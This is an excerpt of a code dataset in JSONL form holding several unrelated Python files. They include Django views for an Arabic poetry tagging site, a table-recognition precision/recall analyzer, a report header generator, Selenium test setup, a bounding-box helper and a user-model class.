row['row_index'],\n 'sadr': row['sadr'].strip().split(' '),\n 'ajuz': row['ajuz'].strip().split(' ')})\n poem['context'] = split_context\n # meta_data = c.get_meta_data(poem.poet_id)\n context = {\n 'poems': poem,\n # 'meta': meta_data,\n 'title': 'Home',\n 'all_tags': all_tags,\n 'poem_id': id,\n }\n return render(request, 'main_tag_page.html', context)\n\n\ndef index(request):\n \"\"\"\n # main page of the website.\n :param request:\n :return:\n \"\"\"\n filtered_hist = []\n history = []\n if request.user.is_authenticated:\n # if normal user fetch the last 5 visit poems\n c = Connector()\n history = c.get_user_history(request.user.id)[-5:]\n if len(history) == 0:\n history = 'No data'\n else:\n for item in history:\n item['time'] = datetime.fromtimestamp(item['time'])\n history.reverse()\n if request.user.is_superuser:\n # in additional if user is super user , fetch the last 100 entries from all users\n all_history = c.get_all_user_history()[-100:]\n for item in all_history:\n if int(item['user_id']) != int(request.user.id):\n user = User.objects.get(id=int(item['user_id']))\n item['user_name'] = user\n item['time'] = datetime.fromtimestamp(item['time'])\n filtered_hist.append(item)\n filtered_hist.reverse()\n\n context = {\n 'title': 'Main Page',\n 'history': history,\n 'all_history': filtered_hist,\n }\n return render(request, 'index.html', context)\n\n\n@login_required() # only users view this page\ndef tags(request):\n \"\"\"\n # this page responsible for managing the tags hierarchy.\n :param request:\n :return:\n \"\"\"\n t = Tag()\n all_tags = t.getAllTags()[\"tags\"]\n context = {\n 'title': 'Tags',\n 'all_tags': all_tags\n }\n return render(request, 'manage_tags.html', context)\n\n\n@user_passes_test(lambda u: u.is_superuser) # only superuser can view this page\ndef settings(request):\n # this page responsible for managing users and database backups\n context = {\n 'title': 'Settings',\n }\n return render(request, 'settings.html', context)\n\n\n@login_required() # only users view this page\ndef statistics(request):\n \"\"\"\n # this page responsible for representing all kind of statistics about the website data bases.\n :param request:\n :return:\n \"\"\"\n c = Connector()\n periods = c.get_periods()\n poets = c.get_poets()\n frequency = [10, 20, 30, 50, 70, 80, 100, 200, 300, 400, 500, 1000]\n frequency.reverse()\n ranges = ['0-50', '50-100', '100-150', '150-200', '200-250', '250-300', '300-350', '350-400', '400-450',\n '450-500', '500-550', '550-600', '600-650', '650-700', '700-750', '750-800', '800-850', '850-900',\n '900-950', '950-1000']\n reslut = finders.find('images/Analysis/generalInfo.json')\n f = open(reslut)\n json_string = f.read()\n f.close()\n # Convert json string to python object\n data = json.loads(json_string)\n context = {\n 'title': 'Statistics',\n 'frequency': frequency,\n 'info': data[0],\n 'range': ranges,\n 'periods': periods,\n 'poets': poets\n }\n return render(request, 'statistics.html', context)\n\n\n@login_required() # only users view this page\ndef select_poet_page(request):\n \"\"\"\n # this page responsible for choosing a poem to start tagging.\n :param request:\n :return:\n \"\"\"\n context = {\n 'title': 'Poem selection'\n }\n return render(request, 'select_poet.html', context)\n\n\ndef poet_poems(request):\n \"\"\"\n # a method to get all poems of a specific poet.\n :param HTTP request: poet id\n :return: STRING of poems for this poet, split by ,\n \"\"\"\n if request.method == 'GET':\n poetId = request.GET['poet_id']\n c = Connector()\n poems = c.get_poems_by_poet(int(poetId))\n t = Tagging()\n poems_tagged = t.get_Tagged_poems(poems)\n if poems is not None:\n return JsonResponse({\n \"poem_ids\": poems, \"tagged\": poems_tagged})\n else:\n return HttpResponse(\"not found\")\n else:\n return HttpResponse(\"not success\")\n\n\ndef save_term_tag(request):\n \"\"\"\n # this method saves tag for a word.\n :param request: the word and its (position,place,row) , the tag of the word , the poem id\n :return: success or failed\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n # remove term tashkeel and white space\n term = araby.strip_tashkeel(term).strip()\n term = stemmer.stem(term)\n tag = data.get('tag').strip()\n poem_id = data.get('id')\n t = Tagging()\n mutex.acquire()\n try:\n suc = t.tagWord(term, tag, poem_id, int(data.get('place')), int(data.get('row')), int(data.get('position')))\n finally:\n mutex.release()\n\n if suc:\n return HttpResponse(\"Success\") # Sending an success response\n else:\n return HttpResponse(\"not Success\")\n else:\n return HttpResponse(\"not found\")\n\n\ndef add_all_suggestions(request):\n \"\"\"\n # this method to add all the tags in the suggestion window for a specific word .\n :param request: the word and its (position,place,row) , the tag of the word,the poem id.\n :return:\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n # remove term tashkeel and white space\n term = araby.strip_tashkeel(term).strip()\n term = stemmer.stem(term)\n all_tags = data.getlist('tags[]')\n poem_id = data.get('id')\n t = Tagging()\n mutex.acquire()\n d = {}\n try:\n for tag in all_tags:\n suc = t.tagWord(term, tag, poem_id, int(data.get('place')), int(data.get('row')),\n int(data.get('position')))\n d[tag] = suc\n finally:\n mutex.release()\n\n return JsonResponse(d)\n else:\n return HttpResponse(\"not found\")\n\n\ndef suggest_tags(request):\n \"\"\"\n # this method get all suggestion tags of a word.\n :param request: the word and its (position,place,row) , the poem id\n :return: all suggestion and their frequency , empty if there is none.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n # remove term tashkeel and white space\n term = araby.strip_tashkeel(term).strip()\n term = stemmer.stem(term)\n t = Tagging()\n mutex.acquire()\n try:\n suggestions = t.searchTagsOfWord(term, data.get('id'), int(data.get('place')), int(data.get('row')),\n int(data.get('position')))\n if len(suggestions) > 0:\n Count = Counter(suggestions)\n total = sum(Count.values())\n freq_percentage = list({k: v / total for k, v in Count.items()}.items())\n else:\n freq_percentage = []\n finally:\n mutex.release()\n if suggestions is not None:\n return JsonResponse({\"suggestions\": freq_percentage})\n else:\n return HttpResponse(\"not found\")\n\n\ndef get_children(request):\n \"\"\"\n # get all children of specific tag.\n :param request: tag in the hierarchy.\n :return: the tag children.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n t = Tag()\n children = t.getChildrens(term)\n if children is not None:\n return JsonResponse(children)\n else:\n return HttpResponse(\"not found\")\n\n\ndef get_parent(request):\n \"\"\"\n Get parent of specific tag.\n :param request:tag in the hierarchy.\n :return: tag parent.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n t = Tag()\n parent = t.getParent(term)\n if parent is not None:\n return JsonResponse(parent)\n else:\n return HttpResponse(\"not found\")\n\n\ndef get_roots(request):\n \"\"\"\n Get all roots in the hierarchy.\n :param request:\n :return: all roots if success.\n \"\"\"\n if request.method == 'GET':\n t = Tag()\n roots = t.getAllheads()\n if roots is not None:\n return JsonResponse(roots)\n else:\n return HttpResponse(\"not found\")\n\n\ndef add_root(request):\n \"\"\"\n Add a new root in the hierarchy.\n :param request: the root to be inserted\n :return: success or fail\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n t = Tag()\n boolean = t.addTag(term)\n if boolean is not None:\n return JsonResponse(boolean)\n else:\n return HttpResponse(\"not found\")\n\n\ndef add_tag(request):\n \"\"\"\n Add new tag to the hierarchy\n :param request: tag and its parent\n :return:success or fail.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n parent = data.get('parent')\n t = Tag()\n boolean = t.addTag(term, parent)\n if boolean is not None:\n return JsonResponse(boolean)\n else:\n return HttpResponse(\"not found\")\n\n\ndef get_brothers(request):\n \"\"\"\n Get all tags brothers (all tags that's share the same parent as the given tag)\n :param request: the tag\n :return:all tag brothers.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n parent = data.get('parent')\n t = Tag()\n brothers = t.getBrothers(term, parent)\n if brothers is not None:\n return JsonResponse(brothers)\n else:\n return HttpResponse(\"not found\")\n\n\ndef get_depth(request):\n \"\"\"\n Get the depth of specific tag.\n :param request:the tag in the heirarchy\n :return: depth of tag\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n t = Tag()\n depth = t.findDepth(term)\n if depth is not None:\n return JsonResponse(depth)\n else:\n return HttpResponse(\"not found\")\n\n\ndef remove_tag(request):\n \"\"\"\n Remove a tag from the hierarchy.\n :param request: the tag in the hierarchy.\n :return: success or fail.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n t = Tag()\n flag = t.removeTag(term)\n if flag is not None:\n return JsonResponse(flag)\n else:\n return HttpResponse(\"not found\")\n\n\ndef add_parent(request):\n \"\"\"\n # add parent for a specific tag.\n :param request: the tag in the hierarchy.\n :return: success or fail.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n parent = data.get('parent')\n t = Tag()\n flag = t.newParent(term, parent)\n if flag is not None:\n return JsonResponse(flag)\n else:\n return HttpResponse(\"not found\")\n\n\ndef edit_tag(request):\n \"\"\"\n # edit tag name\n :param request: tag in the hierarchy.\n :return: success or fail.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n edit = data.get('edit')\n t = Tag()\n flag = t.editTag(term, edit)\n if flag is not None:\n return JsonResponse(flag)\n else:\n return HttpResponse(\"not found\")\n\n\ndef change_parent(request):\n \"\"\"\n # change parent of specific tag to another tag ( new parent must exist)\n :param request: tag and its parent\n :return:success or fail\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n parent = data.get('parent')\n t = Tag()\n flag = t.changeParent(term, parent)\n if flag is not None:\n return JsonResponse(flag)\n else:\n return HttpResponse(\"not found\")\n\n\ndef delete_all(request):\n \"\"\"\n # delete tag and all of its children from the database.\n :param request: tag in the hierarchy.\n :return: success or fail\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n term = data.get('term')\n t = Tag()\n flag = t.deleteAllChildrens(term)\n if flag is not None:\n return JsonResponse(flag)\n else:\n return HttpResponse(\"not found\")\n\n\ndef get_all_tags(request):\n \"\"\"\n # get all tags from the database.\n :param request:\n :return: all tags\n \"\"\"\n if request.method == 'GET':\n t = Tag()\n all_tags = t.getAllTags()\n if all_tags is not None:\n return JsonResponse(all_tags)\n else:\n return HttpResponse(\"not found\")\n\n\ndef get_all_poets(request):\n \"\"\"\n Given a GET request returns all poets from database.\n\n :param request:\n :return: JSON response with all poet ids and names looks like:\n {\"poet\": [{\"id\": 2, \"name\": name}, {}....]\n \"\"\"\n if request.method == 'GET':\n c = Connector()\n poets = c.get_poets()\n if tags is not None:\n return JsonResponse({\n 'poets': poets})\n else:\n return HttpResponse(\"not found\")\n\n\ndef get_terms_freq(request):\n \"\"\"\n # all words with their frequencies for a specific period/all periods with filtered parameters.\n :param request: period or all periods , number to check of we ask for top or range , f for frequency ,\n :return: words with their frequencies\n \"\"\"\n if request.method == 'GET':\n req = request.GET\n if req.get('p') == \"all periods\":\n result = finders.find('images/Analysis/TermFreq.json')\n else:\n result = finders.find('images/Analysis/TermFreqperPeriod.json')\n f = open(result)\n json_string = f.read()\n f.close()\n # Convert json string to python object\n data = json.loads(json_string)\n if int(req.get('n')) == 1:\n x = int(req.get('f'))\n if req.get('p') == \"all periods\":\n d = data[:x]\n current_max = x\n else:\n period = req.get('p').strip()\n if len(data[period]) < x:\n d = data[period][:len(data[period])]\n current_max = len(data[period])\n else:\n d = data[period][:x]\n current_max = x\n return JsonResponse({\"t\": d, \"m\": current_max})\n elif int(req.get('n')) == 2:\n y = req.get('f').strip().split(\"-\")\n if req.get('p') == \"all periods\":\n d = data[int(y[0]):int(y[1])]\n current_max = int(y[1])\n else:\n period = req.get('p').strip()\n length = len(data[period])\n if int(y[1]) > length:\n d = data[period][int(y[0]):length]\n current_max = length\n else:\n d = data[period][int(y[0]):int(y[1])]\n current_max = int(y[1])\n return JsonResponse({\"t\": d, \"m\": current_max})\n elif int(req.get('n')) == 3:\n if req.get('p') == \"all periods\":\n d = data[:2000]\n else:\n period = req.get('p').strip()\n d = data[period][:2000]\n return JsonResponse({\"t\": d})\n\n\ndef maxFrequencyinPeriod(request):\n \"\"\"\n # get the max number of term in periods or all periods . ( x <= 1000)\n :param request: p for period\n :return: max <=1000\n \"\"\"\n if request.method == 'GET':\n req = request.GET\n period = req.get('p').strip()\n if period == \"all periods\":\n return JsonResponse({\"max\": 1000})\n else:\n result = finders.find('images/Analysis/TermFreqperPeriod.json')\n f = open(result)\n json_string = f.read()\n f.close()\n data = json.loads(json_string)\n return JsonResponse({\"max\": len(data[period])})\n\n\ndef get_words_analyzation(request):\n \"\"\"\n When tag page is loaded , get all suggestion words , tagged words and all roots of each word.\n use stemmer and strip tashkel on each word.\n :param request: poem id\n :return: suggestions, tagged and roots.\n \"\"\"\n if request.method == 'GET':\n req = request.GET\n poem_id = req.get('id')\n w = Tagging()\n currentTagged = w.get_tagged_words_from_poem(poem_id)\n c = Connector()\n poem = (c.get_poem(poem_id))[0]\n l = \" \"\n dictionary = {}\n root_of_words = {}\n for row, j in enumerate(poem[\"context\"]):\n s = \"\"\n if 'sadr' in j:\n for pos, word in enumerate(j['sadr'].split()):\n temp = stemmer.stem(araby.strip_tashkeel(word))\n root_of_words[word] = temp\n position = pos + 1\n dict_row = row + 1\n if temp in dictionary:\n dictionary[temp].append(dict(row=dict_row, sader=0, position=position))\n else:\n dictionary[temp] = [dict(row=dict_row, sader=0, position=position)]\n s += temp + \" \"\n # s += stemmer.stem(araby.strip_tashkeel(j['sadr'])) + \" \"\n if 'ajuz' in j:\n for pos, word in enumerate(j['ajuz'].split()):\n temp = stemmer.stem(araby.strip_tashkeel(word))\n root_of_words[word] = temp\n position = pos + 1\n dict_row = row + 1\n if temp in dictionary:\n dictionary[temp].append(dict(row=dict_row, sader=1, position=position))\n else:\n dictionary[temp] = [dict(row=dict_row, sader=1, position=position)]\n s += temp + \" \"\n l += s\n tokens = re.findall(r\"[\\w']+\", l)\n suggestion = []\n for s in w.get_suggestions(tokens):\n suggestion += dictionary.get(s[\"word\"])\n # suggestion.append(dictionary[s])\n return JsonResponse({\"tagged\": currentTagged, \"suggested\": suggestion, \"roots\": root_of_words})\n\n\n@login_required()\ndef get_history_user(request):\n \"\"\"\n :param request: gets the user's id\n :return: the user's history\n \"\"\"\n if request.method == 'GET':\n c = Connector()\n history = c.get_user_history(request.user.id)[-5:]\n for item in history:\n item['time'] = datetime.fromtimestamp(item['time'])\n history.reverse()\n return JsonResponse({'data': history})\n\n\ndef term_current_tags(request):\n \"\"\"\n # get all tags of a word.\n :param request: the word and its (position,place,row), the poem id\n :return: all word tags\n \"\"\"\n if request.method == 'GET':\n req = request.GET\n w = Tagging()\n term = araby.strip_tashkeel(req.get('term')).strip()\n term = stemmer.stem(term)\n currentTagged = w.get_term_current_tags(int(req.get('row')), int(req.get('place')), int(req.get('position')),\n req.get('id'), term)\n return JsonResponse({\"tags\": currentTagged})\n\n\ndef remove_tag_from_word(request):\n \"\"\"\n Remove a tag from word.\n :param request:the word and its (position,place,row) , the tag of the word , the poem id\n :return: success or fail\n \"\"\"\n if request.method == 'GET':\n req = request.GET\n w = Tagging()\n suc = w.remove_tag_reletion(int(req.get('row')), int(req.get('place')), int(req.get('position')), req.get('id'),\n req.get('tag'))\n return JsonResponse(suc)\n\n\ndef get_Root_of_Word(request):\n \"\"\"\n Root of a specific word using the farasa stemmer\n :param request: word\n :return: root\n \"\"\"\n if request.method == 'GET':\n req = request.GET\n term = araby.strip_tashkeel(req.get('word')).strip()\n r = stemmer.stem(term)\n return JsonResponse({\"root\": r})\n\n\ndef edit_poem_line(request):\n \"\"\"\n Given 1. poem id 2. line number 3. sadr text 4. ajuz text, change this line number in this poem to the given text\n\n :param request: GET request with the four arguments.\n :return: success or failure based on status.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n poem_id, line, asdr, ajuz = data.get('id'), data.get('line'), data.get('sadr'), data.get('ajuz')\n\n\ndef get_Tags_frequency_in_poem(request):\n \"\"\"\n # get all tags in specific poem.\n :param request: poem id\n :return: all tags and their total number.\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n t = Tagging()\n result, total = t.get_all_tagged_words_in_Poem(data.get('id'))\n return JsonResponse({'tags': result, 'total': total})\n\n\ndef get_all_tags_for_poet(request):\n \"\"\"\n # get all tags in each poem that's belong to specific poet.\n :param request: poet id\n :return: all tags , total number of all tags\n \"\"\"\n if request.method == 'GET':\n data = request.GET\n t = Tagging()\n c = Connector()\n poems = c.get_poems_by_poet(int(data.get('id')))\n result, total = t.get_all_tags_for_poet(poems)\n return JsonResponse({\"tags\": result, 'total': total})\n\n\n# use this lock when u need to write on the database, some function that are read may need this mutex in order to avoid\n# incorrect data when someone writing in parallel\nmutex = Lock()\n","sub_path":"server/term_labeling/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":23357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"194914641","text":"import json\nfrom lib import config\nfrom pprint import pprint\nfrom os import listdir\nfrom os import path\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\n\nclass TableAnalyzer:\n h_l_precision_limit = 0.75\n h_l_recall_limit = 0.75\n v_l_precision_limit = 0.75\n v_l_recall_limit = 0.75\n\n def __init__(self, filename):\n with open(config.INPUT_DIR + filename) as f:\n self.gen_annotation = json.load(f)\n\n with open(config.OUTPUT_DIR + filename) as f:\n self.rec_annotation = json.load(f)\n\n self.h_l_gen = None\n self.v_l_gen = None\n self.table_h_gen = None\n self.table_w_gen = None\n self.l_t_corner_gen = None\n self.l_b_corner_gen = None\n self.r_t_corner_gen = None\n self.r_b_corner_gen = None\n\n self.h_l_rec = None\n self.v_l_rec = None\n self.table_h_rec = None\n self.table_w_rec = None\n\n self.h_l_precision = None\n self.h_l_recall = None\n\n self.v_l_precision = None\n self.v_l_recall = None\n\n self.h_l_precision_failed = False\n self.h_l_recall_failed = False\n self.v_l_precision_failed = False\n self.v_l_recall_failed = False\n self.height_failed = False\n self.width_failed = False\n\n def load_data(self):\n self.load_gen_image_data()\n self.load_recognized_image_data()\n\n def analyze(self):\n self.analyze_h_l()\n self.analyze_v_l()\n self.compare_height()\n self.compare_width()\n\n @staticmethod\n def calc_precision(rel):\n return round(rel['true_positive'] / (rel['true_positive'] + rel['false_positive']), 2)\n\n @staticmethod\n def calc_recall(rel):\n return round(rel['true_positive'] / (rel['true_positive'] + rel['false_negative']), 2)\n\n def compare_width(self):\n if not (self.table_w_gen - 2 <= self.table_w_rec <= self.table_w_gen + 2):\n self.width_failed = True\n\n def compare_height(self):\n if not (self.table_h_gen - 2 <= self.table_h_rec <= self.table_h_gen + 2):\n self.height_failed = True\n\n def analyze_h_l(self):\n def calc_relevancy():\n rel = {\n 'true_positive': 0,\n 'false_positive': 0,\n 'false_negative': 0\n }\n\n tmp_h_l_rec = self.h_l_rec.copy()\n tmp_h_l_gen = self.h_l_gen.copy()\n\n for key_gen, val_gen in self.h_l_rec.items():\n for key_rec, val_rec in self.h_l_gen.items():\n if val_gen[0][0] - 2 <= val_rec[0][0] <= val_gen[0][0] + 2 and \\\n val_gen[0][1] - 2 <= val_rec[0][1] <= val_gen[0][1] + 2 and \\\n val_gen[1][0] - 2 <= val_rec[1][0] <= val_gen[1][0] + 2 and \\\n val_gen[1][1] - 2 <= val_rec[1][1] <= val_gen[1][1] + 2:\n rel['true_positive'] += 1\n del tmp_h_l_rec[key_rec], tmp_h_l_gen[key_gen]\n\n rel['false_positive'] = len(tmp_h_l_rec)\n rel['false_negative'] = len(tmp_h_l_gen)\n\n return rel\n\n relevancy = calc_relevancy()\n self.h_l_precision = self.calc_precision(relevancy)\n self.h_l_recall = self.calc_recall(relevancy)\n\n if self.h_l_precision <= self.h_l_precision_limit:\n self.h_l_precision_failed = True\n\n if self.h_l_recall <= self.h_l_recall_limit:\n self.h_l_recall_failed = True\n\n def analyze_v_l(self):\n def calc_relevancy():\n rel = {\n 'true_positive': 0,\n 'false_positive': 0,\n 'false_negative': 0\n }\n\n tmp_v_l_rec = self.v_l_rec.copy()\n tmp_v_l_gen = self.v_l_gen.copy()\n\n for key_gen, val_gen in self.v_l_gen.items():\n for key_rec, val_rec in self.v_l_rec.items():\n if val_gen[1][0] - 2 <= val_rec[0][0] <= val_gen[1][0] + 2 and \\\n val_gen[1][1] - 2 <= val_rec[0][1] <= val_gen[1][1] + 2 and \\\n val_gen[0][0] - 2 <= val_rec[1][0] <= val_gen[0][0] + 2 and \\\n val_gen[0][1] - 2 <= val_rec[1][1] <= val_gen[0][1] + 2:\n rel['true_positive'] += 1\n del tmp_v_l_rec[key_rec], tmp_v_l_gen[key_gen]\n\n rel['false_positive'] = len(tmp_v_l_rec)\n rel['false_negative'] = len(tmp_v_l_gen)\n\n return rel\n\n relevancy = calc_relevancy()\n self.v_l_precision = self.calc_precision(relevancy)\n self.v_l_recall = self.calc_recall(relevancy)\n\n if self.v_l_precision <= self.v_l_precision_limit:\n self.v_l_precision_failed = True\n\n if self.v_l_recall <= self.v_l_recall_limit:\n self.v_l_recall_failed = True\n\n def load_recognized_image_data(self):\n self.h_l_rec = self.rec_annotation['h_l_coors']\n self.v_l_rec = self.rec_annotation['v_l_coors']\n self.table_h_rec = self.rec_annotation['table_height']\n self.table_w_rec = self.rec_annotation['table_width']\n\n def load_gen_image_data(self):\n self.h_l_gen = self.gen_annotation['h_l_coors']\n self.v_l_gen = self.gen_annotation['v_l_coors']\n self.table_h_gen = self.gen_annotation['table_height']\n self.table_w_gen = self.gen_annotation['table_width']\n self.l_t_corner_gen = self.gen_annotation['l_t_corner']\n self.l_b_corner_gen = self.gen_annotation['l_b_corner']\n self.r_t_corner_gen = self.gen_annotation['r_t_corner']\n self.r_b_corner_gen = self.gen_annotation['r_b_corner']\n\n\ndef graph_representation(h_l_metrics, v_l_metrics):\n # data\n labels = ['x', 'y']\n h_l_df = pd.DataFrame.from_records(h_l_metrics, columns=labels)\n v_l_df = pd.DataFrame.from_records(v_l_metrics, columns=labels)\n\n # plot\n plt.plot('y', 'x', data=h_l_df, linestyle='-', marker='o')\n plt.plot('y', 'x', data=v_l_df, linestyle='-', marker='o')\n plt.ylabel(\"Precision\")\n plt.xlabel(\"Recall\")\n plt.axis([0, 1.5, 0, 1.5])\n plt.show()\n\n\ndef main():\n h_l_metrics = []\n v_l_metrics = []\n h_l_precision_failed = 0\n h_l_recall_failed = 0\n v_l_precision_failed = 0\n v_l_recall_failed = 0\n width_failed = 0\n height_failed = 0\n\n print(\"
\")\n    i = 0\n    for file in listdir(config.OUTPUT_DIR):\n        print(\"\\n\\n=====================  \" + path.splitext(file)[0]\n              + \".jpg  ====================\")\n        print(\"Generated annotation: \" + file + \"\")\n        print(\"Recognized annotation: \" + file + \"\")\n        analyzer = TableAnalyzer(file)\n        analyzer.load_data()\n        analyzer.analyze()\n        if analyzer.h_l_precision_failed:\n            h_l_precision_failed += 1\n            print(\"Horizontal precision: \" + str(analyzer.h_l_precision) + \"\")\n        else:\n            print(\"Horizontal precision: \" + str(analyzer.h_l_precision))\n\n        if analyzer.h_l_recall_failed:\n            h_l_recall_failed += 1\n            print(\"Horizontal recall: \" + str(analyzer.h_l_recall) + \"\")\n        else:\n            print(\"Horizontal recall: \" + str(analyzer.h_l_recall))\n\n        if analyzer.v_l_precision_failed:\n            v_l_precision_failed += 1\n            print(\"Vertical precision: \" + str(analyzer.v_l_precision) + \"\")\n        else:\n            print(\"Vertical precision: \" + str(analyzer.h_l_precision))\n\n        if analyzer.v_l_recall_failed:\n            v_l_recall_failed += 1\n            print(\"Vertical recall: \" + str(analyzer.v_l_recall) + \"\")\n        else:\n            print(\"Vertical recall: \" + str(analyzer.v_l_recall))\n\n        if analyzer.width_failed:\n            width_failed += 1\n            print(\"Width fail!\")\n        else:\n            print(\"Width: OK\")\n\n        if analyzer.height_failed:\n            height_failed += 1\n            print(\"Height fail!\")\n        else:\n            print(\"Height: OK\")\n\n        h_l_metrics.append((analyzer.h_l_precision, analyzer.h_l_recall))\n        v_l_metrics.append((analyzer.v_l_precision, analyzer.v_l_recall))\n\n        i += 1\n\n    print(\"\\n\\n\\n\\n\")\n    print(\"Precision of horizontal lines of images completed: \" + str(i - h_l_precision_failed) + \"/\" + str(i))\n    print(\"Recall of horizontal lines of images completed: \" + str(i - h_l_recall_failed) + \"/\" + str(i))\n    print(\"Precision of vertical lines of images completed: \" + str(i - v_l_precision_failed) + \"/\" + str(i))\n    print(\"Recall of vertical lines of images completed: \" + str(i - v_l_recall_failed) + \"/\" + str(i))\n    print(\"Width of images completed: \" + str(i - width_failed) + \"/\" + str(i))\n    print(\"Height of images completed: \" + str(i - height_failed) + \"/\" + str(i))\n\n    print(\"
\")\n\n # graph_representation(h_l_metrics, v_l_metrics)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"table_analyzer.py","file_name":"table_analyzer.py","file_ext":"py","file_size_in_byte":9187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"486109635","text":"import datetime\nimport warnings\ndef create_header (authors_list,place=\"Paris\"):\n \"\"\"Creates the header text based on the authors list\n \n Parameters\n ----------\n authors_list : a list of dictionnaries\n each dict should have \"firstname\" and \"lastname\" keys\n \n Returns\n -------\n header_text : str\n the header text\n \n Note\n ----\n date is updated at the function execution time\n \"\"\"\n today=datetime.date.today()\n \n ligne1=f'{place}, le {today.day}/{today.month:02d}/{today.year}\\n\\n### auteur(s) :\\n'\n lignes=[ligne1]\n #get the authors names\n for aut in authors_list:\n try:\n firstname2=aut['firstname']\n except KeyError: #met XXX si firstname is missing, utile pour afficher le message firstname is missing\n firstname2='XXX'\n warnings.warn('First Name is missing')\n print('Firstname missing')\n\n lastname2=aut.get('lastname',\"XXX\") #met XXX si lastname is missing\n lignes.append(f'- {firstname2} {lastname2}')\n \n return \"\\n\".join(lignes)","sub_path":"reporter/header.py","file_name":"header.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"487472704","text":"import os\nimport django\nfrom django.test.runner import DiscoverRunner\nfrom django.test.testcases import TestCase\nfrom selenium import webdriver\n\nos.environ[\"DJANGO_SETTINGS_MODULE\"] = \"superlists.settings\"\n\n\ndef before_all(context):\n django.setup()\n context.test_runner = DiscoverRunner()\n context.test_runner.setup_test_environment()\n context.old_db_config = context.test_runner.setup_databases()\n\n\ndef before_scenario(context, scenario):\n context.test_case = TestCase()\n context.test_case.setUpClass()\n context.browser = webdriver.Chrome()\n\n\ndef after_scenario(context, scenario):\n context.browser.quit()\n context.test_case.tearDownClass()\n del context.test_case\n\n\ndef after_all(context):\n context.test_runner.teardown_databases(context.old_db_config)\n context.test_runner.teardown_test_environment()\n os.remove('db.sqlite3')\n","sub_path":"features/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"618530275","text":"'''\r\n Get bounding box cordinates from bottom left and top right cordinates\r\n\r\n https://www.image-map.net/\r\n'''\r\nimport re\r\n\r\ndef getBoundingBoxCoords(two_coords):\r\n while(True):\r\n\r\n #cord = re.findall('\\d+', input(\"Enter bottom left and top right cordinates(eg: 384,393,500,200): \"))\r\n cord = re.findall('\\d+', two_coords)\r\n\r\n b_left = '{} {} '.format(cord[0], cord[1])\r\n t_right = '{} {} '.format(cord[2], cord[3])\r\n\r\n b_right = '{} {} '.format(cord[2], cord[1])\r\n t_left = '{} {} '.format(cord[0], cord[3])\r\n\r\n coords = ''.join([t_left, b_right])#([b_left, b_right, t_right, t_left])\r\n print('[boundingBox.py]', coords)\r\n\r\n return coords\r\n","sub_path":"Single Person Pose Estimation/boundingBox.py","file_name":"boundingBox.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"540311231","text":"import random\nimport json\nimport time\nfrom datetime import date\n\nimport mmb\nimport topics\nimport usergen\n\nusers_dat_file = 'data/users.json'\n\n\ndef get_identifier():\n\twith open(users_dat_file, 'r') as users_dat:\n\t\tusers = json.load(users_dat)\n\t\treturn 100 + len(users)\n\n\ndef get_all_users():\n\twith open(users_dat_file, 'r') as users_dat:\n\t\tusers = []\n\t\tusers_dat = json.load(users_dat)\n\t\tfor user in users_dat:\n\t\t\tusers.append(User.reload(users_dat[user]))\n\t\treturn users\n\n\n\nclass User():\n\n\tdef __init__(self, attrs, id=None, dump=True):\n\t\t'''\n\t\t\tcreate user passing a dictionary with keys:\n\t\t\temail, password, first_name, last_name, birth_date (YYYY,MM,DD), nkname\n\n\t\t'''\n\n\t\tself.identifier = get_identifier() if id==None else id \n\t\tself.first_name = attrs['first_name']\n\t\tself.last_name = attrs['last_name']\n\t\tself.birth = date(attrs['birth_date'][0], attrs['birth_date'][1], attrs['birth_date'][2])\n\t\tself.nkname = attrs['nkname']\n\t\tself.email = attrs['email']\n\t\tself.password = attrs['password']\n\n\t\tself.byForm = True\n\t\tself.timestamp = time.time()\n\t\tself.init_timestamp = time.time()\n\t\tself.topics = [(0,0)] # list of tuples (#posts, topic_id)\n\n\t\tif dump: self.dump()\n\t\n\t@classmethod\n\tdef random(User):\n\t\t'''\n\t\t\tcreate a user with random data\n\t\t'''\t\n\t\tuser = User(usergen.gen_user(), dump=False) # NOTICE : DUMP IS SET TO FALSE\n\t\tuser.byForm = False\n\t\treturn user\n\n\t@classmethod\n\tdef reload(User, usr_json):\n\t\tuser = User(usr_json, id=usr_json['id'], dump=False)\n\t\tuser.topics = usr_json['topics']\n\t\tuser.byForm = usr_json['byform']\n\t\tuser.timestamp = usr_json['timestamp']\n\t\tuser.init_timestamp = usr_json['init_timestamp']\n\t\treturn user\n\n\t\t\n\tdef push_topic(self, topic_id):\n\t\tfor i in range(len(self.topics)):\n\t\t\tif self.topics[i][1] == topic_id:\n\t\t\t\tself.topics[i][0] += 1\n\t\t\t\treturn 1\n\t\tself.topics.append((1, topic_id))\n\t\treturn 0\n\n\tdef get_top_topics(self, 